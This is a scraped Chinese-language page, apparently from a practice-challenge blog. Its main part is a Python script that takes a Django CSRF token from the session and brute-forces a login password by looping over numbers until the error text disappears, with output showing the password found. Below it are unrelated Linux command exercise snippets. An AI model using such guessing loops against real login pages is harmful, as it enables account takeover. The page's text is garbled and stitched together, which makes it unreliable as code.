手動建立的使用者和密碼
9 data_1['
username
']='
ybyb520
'10 data_1['
password
']=123456
11 data_1['
csrfmiddlewaretoken
']=''
1213
14 data_2={}#
試探的使用者和密碼
15 data_2['
username
']='yb'
16 data_2['
csrfmiddlewaretoken
']=''
17 data_2['
password
']=0
1819 s=requests.session()#
儲存特定使用者會話所需的資訊。這樣,當使用者在應用程式的 web 頁之間跳轉時,儲存在 session 物件中的變數將不會丟失,而是在整個使用者會話中一直存在下去
2021
s.get(url_1)
22 data_1['
csrfmiddlewaretoken
']=s.cookies['
csrftoken
']#通過發鏈結獲得csrfmiddlewaretoken的值
2324 s.post(url_1,data_1)#
傳送資料
25 data_2['
csrfmiddlewaretoken
']=s.cookies['
csrftoken
']#得到另外乙個csrfmiddlewaretoken,csrfmiddlewaretoken不是一直不變的,每次訪問值都不同
2627
for i in range(0,30):#
密碼猜測
28 data_2['
password
']=str(i)
29 result=s.post("
/",data=data_2)
30if result.text.find('
錯誤') == -1:
31print('
密碼是:
'+data_2['
password'])
32break
33else:34
print(data_2['
password
']+'
不是密碼')
35continue
36"""
37隨著時間推移每次的密碼都是不同的,下面是結果:
3839
0不是密碼
401不是密碼
412不是密碼
423不是密碼
434不是密碼
445不是密碼
456不是密碼
467不是密碼
478不是密碼
489不是密碼
4910不是密碼
5011不是密碼
5112不是密碼
5213不是密碼
5314不是密碼
5415不是密碼
5516不是密碼
56密碼是:17
5758
"""
Linux命令練習第三關 2
3.請執行命令取出linux中eth0的ip位址 請用cut,awk,sed命令答 cut方法 root ianlinux ifconfig eth0 sed n 2p inet addr 192.168 0.199 bcast 192.168 0.255 mask 255.255 255 0 ro...
Linux命令練習第三關 4
7.執行下面命令時發現提示需要輸入密碼,請問提示輸入的密碼是哪個使用者的密碼。lisa ianlinux sudo su ian 解答 當前執行命令lisa賬戶的密碼。命令說明 su su root 該命令是真正使用者角色轉化命令 預設 是切到root 輸入的是root密碼 sudo su 該命令是...
Linux命令練習第三關 5
12.已知 root data iantest.txt檔案內容為 請問如何把檔案中的空行過濾掉。grep方法 這個方法最好 grep v root data iantest.txt grep root data iantest.txt sed方法 利用sed的過濾 sed n 過濾的內容 處理的命令...